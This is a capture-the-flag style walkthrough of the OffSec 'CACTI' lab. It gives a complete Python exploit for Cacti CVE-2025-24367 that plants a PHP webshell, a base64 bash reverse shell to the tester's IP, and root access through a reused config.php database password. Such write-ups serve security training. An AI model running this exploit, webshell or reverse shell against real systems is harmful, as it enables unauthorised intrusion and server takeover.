Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - CACTI

·1813 words·9 mins·
OFFSEC PG PRACTICE CACTI
Table of Contents

Summary
#

On port 80 there is a webapplication running called Cacti v1.2.28. Abusing a newline injection vulnerability (CVE-2025-24367) we get a webshell on the target and can execute remote commands. Using this webshell we get initial access as the www-data user. Once on the target we find credentials in a config.php file. Because of credential reuse we can use this password to escalate our privileges to the root user.

Specifications
#

  • Name: CACTI
  • Platform: PG PRACTICE
  • Points: 10
  • Difficulty: Intermediate
  • System overview: Linux cacti 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
  • IP address: 192.168.157.206
  • OFFSEC provided credentials: None
  • HASH: local.txt:a5d37044a1f25d557600d14e977af3ce
  • HASH: proof.txt:67df0253cc24af8b679cbb647d1f6419

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir cacti && cd cacti && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Sep 12 17:12 .
drwxrwxr-x 62 kali kali 4096 Sep 12 17:12 ..
drwxrwxr-x  2 kali kali 4096 Sep 12 17:12 enum
drwxrwxr-x  2 kali kali 4096 Sep 12 17:12 exploits
drwxrwxr-x  2 kali kali 4096 Sep 12 17:12 files
drwxrwxr-x  2 kali kali 4096 Sep 12 17:12 tools
drwxrwxr-x  2 kali kali 4096 Sep 12 17:12 uploads

## set bash variable
ip=192.168.157.206

## ping target to check if it's online
ping $ip

PING 192.168.157.206 (192.168.157.206) 56(84) bytes of data.
64 bytes from 192.168.157.206: icmp_seq=1 ttl=61 time=19.1 ms
64 bytes from 192.168.157.206: icmp_seq=2 ttl=61 time=21.5 ms
^C
--- 192.168.157.206 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 19.055/20.268/21.481/1.213 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Scanning ports faster than you can say 'SYN ACK'

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.157.206:22
Open 192.168.157.206:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-12 17:13 CEST
Initiating Ping Scan at 17:13
Scanning 192.168.157.206 [4 ports]
Completed Ping Scan at 17:13, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:13
Completed Parallel DNS resolution of 1 host. at 17:13, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 17:13
Scanning 192.168.157.206 [2 ports]
Discovered open port 80/tcp on 192.168.157.206
Discovered open port 22/tcp on 192.168.157.206
Completed SYN Stealth Scan at 17:13, 0.04s elapsed (2 total ports)
Nmap scan report for 192.168.157.206
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-09-12 17:13:12 CEST for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 61
80/tcp open  http    syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp open  ssh     syn-ack ttl 61
80/tcp open  http    syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,80

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 2e:5b:cb:6b:21:8c:fc:df:7b:c7:f7:f0:46:2e:6d:55 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNzhDduFenGCFk6W1KB4vhdfu/aU9Gi4N3BTeQK5tNhkQLpvNphjS83lUqinZ/RR81LsqbxbhGKvMEycOTMkTSo=
|   256 ab:1a:ce:a7:f0:b6:0f:79:0b:54:b8:00:26:3d:69:58 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIONcJk3p4sOSZw8zygtz1n5h9SfHtt+1kOc/UUQEA0CB
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Login to Cacti
|_http-favicon: Unknown favicon MD5: 4F12CCCD3C42A4A478F067337FE92794
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Login to Cacti
|_http-favicon: Unknown favicon MD5: 4F12CCCD3C42A4A478F067337FE92794

On port 80 we find a user login screen of Cacti v1.2.28.

When we try the weak credentials: admin:admin we’re allowed to change our password,example: Password1!. So, let’s change it.

Once changed, we indeed can log into the application.

Searching the internet, we can find: https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq (CVE-2025-24367), which talks about a newline injection. An authenticated user can abuse graph creation and graph template functionality to create arbitrary PHP scripts in the web root of the application, leading to remote code execution on the server. There is a PoC provided from which this Python script is created:

import requests
import re
import argparse
import logging

# Configure logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

class CactiExploit:
    def __init__(self, target_ip, user_name, user_password, exploit_payload, proxy_url=None):
        self.base_url = f"http://{target_ip}"
        self.user_name = user_name
        self.user_password = user_password
        self.exploit_payload = exploit_payload
        self.http_session = requests.Session()
        self.session_cookies = []
        self.proxy_config = {"http": proxy_url} if proxy_url else None

    def extract_csrf_token(self, response_text):
        """Extract CSRF token from response text."""
        try:
            token_match = re.search(r"csrfMagicToken=(.*?);", response_text)
            csrf_token = token_match.group(1).replace("'", "")
            return csrf_token
        except (AttributeError, IndexError):
            logger.error("Failed to extract CSRF token")
            raise ValueError("CSRF token not found in response")

    def perform_login(self):
        """Log in to the Cacti application and return the CSRF token."""
        logger.info("Attempting to log in")
        try:
            response = self.http_session.get(self.base_url, proxies=self.proxy_config)
            self.session_cookies.append(response.cookies.get('Cacti'))
            csrf_token = self.extract_csrf_token(response.text)

            headers = {
                "Content-Type": "application/x-www-form-urlencoded",
                "Cookie": f"Cacti={self.session_cookies[0]}"
            }
            payload = {
                "__csrf_magic": csrf_token,
                "action": "login",
                "login_username": self.user_name,
                "login_password": self.user_password
            }

            response = self.http_session.post(self.base_url, data=payload, headers=headers, proxies=self.proxy_config)
            self.session_cookies.append(response.cookies.get('Cacti'))
            csrf_token = self.extract_csrf_token(response.text)
            logger.info("Login successful")
            return csrf_token
        except requests.RequestException as e:
            logger.error(f"Login failed: {e}")
            raise

    def save_graph_config(self, csrf_token):
        """Save the graph configuration."""
        graph_url = f"{self.base_url}/graphs_new.php?header=false"
        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "Cookie": f"Cacti={self.session_cookies[0]}",
            "X-Requested-With": "XMLHttpRequest"
        }
        payload = {
            '__csrf_magic': csrf_token,
            'cg_g': '8',
            'sgg_49': '126',
            'save_component_graph': '1',
            'host_id': '1',
            'host_template_id': '19',
            'action': 'save'
        }

        try:
            self.http_session.post(graph_url, data=payload, headers=headers, proxies=self.proxy_config)
            logger.info("Graph saved successfully")
        except requests.RequestException as e:
            logger.error(f"Failed to save graph: {e}")
            raise

    def update_graph_template(self, csrf_token):
        """Update the graph template with the provided payload."""
        logger.info("Sending payload")
        template_url = f"{self.base_url}/graph_templates.php?header=false"
        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "Cookie": f"Cacti={self.session_cookies[0]}",
            "X-Requested-With": "XMLHttpRequest"
        }
        payload = {
            '__csrf_magic': csrf_token,
            'name': 'ACME Mem Usage',
            'graph_template_id': '8',
            'graph_template_graph_id': '8',
            'save_component_template': '1',
            'title': '|host_description| - Mem Usage',
            'vertical_label': 'percent',
            'image_format_id': '3',
            'height': '200',
            'width': '700',
            'base_value': '1000',
            'slope_mode': 'on',
            'auto_scale': 'on',
            'auto_scale_opts': '2',
            'auto_scale_rigid': 'on',
            'upper_limit': '100',
            'lower_limit': '0',
            'unit_value': '',
            'unit_exponent_value': '',
            'unit_length': '',
            'right_axis': '',
            'right_axis_label': (
                f'XXX\ncreate my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 '
                f'RRA:AVERAGE:0.5:1:1200\ngraph xxx2.php -s now -a CSV '
                f'DEF:out=my.rrd:temp:AVERAGE LINE1:out:{self.exploit_payload}\n'
            ),
            'right_axis_format': '0',
            'right_axis_formatter': '0',
            'left_axis_formatter': '0',
            'auto_padding': 'on',
            'tab_width': '30',
            'legend_position': '0',
            'legend_direction': '0',
            'rrdtool_version': '1.7.2',
            'action': 'save'
        }

        try:
            self.http_session.post(template_url, data=payload, headers=headers, proxies=self.proxy_config)
            logger.info("Payload sent successfully")
            self.save_graph_config(csrf_token)
        except requests.RequestException as e:
            logger.error(f"Failed to update graph: {e}")
            raise

    def execute_payload(self):
        """Trigger the payload by accessing the graph_realtime endpoint."""
        logger.info("Triggering payload")
        trigger_url = (
            f"{self.base_url}/graph_realtime.php?action=countdown&top=0&left=0"
            "&graph_nolegend=false&graph_end=0&graph_start=-60"
            "&local_graph_id=5&ds_step=10&count=0&size=100"
        )
        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "Cookie": f"Cacti={self.session_cookies[0]}",
            "X-Requested-With": "XMLHttpRequest"
        }

        try:
            self.http_session.get(trigger_url, headers=headers, proxies=self.proxy_config)
            logger.info("Payload triggered successfully")
        except requests.RequestException as e:
            logger.error(f"Failed to trigger payload: {e}")
            raise

def run_exploit():
    parser = argparse.ArgumentParser(description="Cacti Exploit Script")
    parser.add_argument("user_name", help="Username for login")
    parser.add_argument("user_password", help="Password for login")
    parser.add_argument("target_ip", help="Target IP address")
    parser.add_argument("exploit_payload", help="PHP payload to inject")
    parser.add_argument("--proxy_url", default="", help="Proxy URL (default: http://127.0.0.1:8080)")

    args = parser.parse_args()

    try:
        exploit = CactiExploit(args.target_ip, args.user_name, args.user_password, args.exploit_payload, args.proxy_url)
        token = exploit.perform_login()
        exploit.update_graph_template(token)
        exploit.execute_payload()
    except Exception as e:
        logger.error(f"Script execution failed: {e}")
        exit(1)

if __name__ == "__main__":
    run_exploit()

Go to the ./exploits directory, create file called exploit.py and paste the previous code in it. Now, run the exploit to drop the PHP webshell on the target.

## run the exploit
python exploit.py admin Password1! 192.168.157.206 '<?=system($_REQUEST[chr(99).chr(109).chr(100)]);?>'
2025-09-12 17:27:54,464 - INFO - Attempting to log in
2025-09-12 17:27:54,739 - INFO - Login successful
2025-09-12 17:27:54,739 - INFO - Sending payload
2025-09-12 17:27:54,859 - INFO - Payload sent successfully
2025-09-12 17:27:55,112 - INFO - Graph saved successfully
2025-09-12 17:27:55,113 - INFO - Triggering payload
2025-09-12 17:27:55,414 - INFO - Payload triggered successfully

Using the PHP webshell we can get code execution on the target.

Using the webshell we can get a reverse shell as the www-data user in the /var/www/html/cacti directory, using this URL: (http://192.168.157.206/xxx2.php?cmd=echo+-n+YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC40NS4yMTEvOTAwMSAgMD4mMSAg+|+base64+-d+|+bash).

## get the IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.211

## setup a listener
nc -lvnp 9001 
listening on [any] 9001 ...

## base64 encode the reverse shell command -. use this in the URL
echo -n 'bash -i  >& /dev/tcp/192.168.45.211/9001  0>&1  ' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC40NS4yMTEvOTAwMSAgMD4mMSAg

## catch the reverse shell
nc -lvnp 9001                                                   
listening on [any] 9001 ...
connect to [192.168.45.211] from (UNKNOWN) [192.168.157.206] 54746
bash: cannot set terminal process group (929): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cacti:/var/www/html/cacti$ 
 
## find `local.txt` on the filesystem
www-data@cacti:/var/www/html/cacti$ find / -iname 'local.txt' 2>/dev/null
/var/www/html/cacti/local.txt

## print `local.txt`
www-data@cacti:/var/www/html/cacti$ cat /var/www/html/cacti/local.txt
a5d37044a1f25d557600d14e977af3ce

Privilege Escalation
#

To get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which script
/usr/bin/script

## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
www-data@cacti:/var/www/html/cacti$ TERM=xterm && stty columns 200 rows 200

We should always check the webapplication directory for credentials first. When we do this we find a password that is reused for the root user. This allows us to escalate our privileges.

## find all files in the `cacti` directory with `conf` in the filename and grep for the `password` text
www-data@cacti:/var/www/html/cacti$ find . -iname '*conf*' 2>/dev/null | xargs grep -A3 -B3 -Rni 'password'
./include/config.php-5-$database_default  = 'cacti';
./include/config.php-6-$database_hostname = 'localhost';
./include/config.php-7-$database_username = 'cacti_user';
./include/config.php:8:$database_password = 'cactipassword91';
<SNIP>

## switch to the `root` user
www-data@cacti:/var/www/html/cacti$ su -
Password: 
root@cacti:~#

## print `proof.txt`
root@cacti:~# cat /root/proof.txt
67df0253cc24af8b679cbb647d1f6419

References
#

[+] https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq

Related

OFFSEC - Proving Grounds - AIR
·2962 words·14 mins
OFFSEC PG PRACTICE ARIA2 WEBUI CHISEL SSH-KEYGEN
Aria2 WebUI on port 8888 is vulnerable to path traversal (CVE-2023-39141). Steal deathflash SSH key for initial access, find RPC key, forward port 6800 with chisel, configure app, upload SSH key to root for root access.
OFFSEC - Proving Grounds - EDUCATED
·2704 words·13 mins
OFFSEC PG PRACTICE FREE SCHOOL MANAGEMENT MYSQL APK MOBSF
WISDOM SCHOOL site on port 80 has Gosfem alogin page. RCE gives initial access. Crack msander’s hash, find emiller credentials in APK. Sudo escalates to root via bash.
OFFSEC - Proving Grounds - GRAPH
·2351 words·12 mins
OFFSEC PG PRACTICE GRAPHQL CURL BURP HASHCAT MKPASSWD
On port 80 is a graphql endpoint with SQL injection and gets hashes. Crack one for initial access. Python script with newline injection sets josh password. As josh, read /etc/shadow, crack root’s hash and escalate to root.
OFFSEC - Proving Grounds - PIER
·1332 words·7 mins
OFFSEC PG PRACTICE TORRENTPIER
Torrentpier on port 80 has a insecure object deserialization vulnerability (CVE-2024-1651) for RCE. Gain access as the pier user, use sudo to run bash as root.
OFFSEC - Proving Grounds - SORCERER
·1918 words·10 mins
OFFSEC PG PRACTICE GOBUSTER SSH-KEYGEN SCP
Zipfiles on port 7742 contain users home directories. A found id_rsa key allows scp only. Upload authorized_keys, gain SSH access, and use SUID binary to escalate to root.
OFFSEC - Proving Grounds - CHARLOTTE
·4141 words·20 mins
OFFSEC PG PRACTICE SHOWMOUNT GOBUSTER BURP EJS SSH-KEYGEN
Use credentials or mount shares for application code. Leak creds via nginx (80) using BURP. Exploit RCE as www-data. Deploy JS to abuse a cronjob and move laterally. Escalate to root with sudo/bash.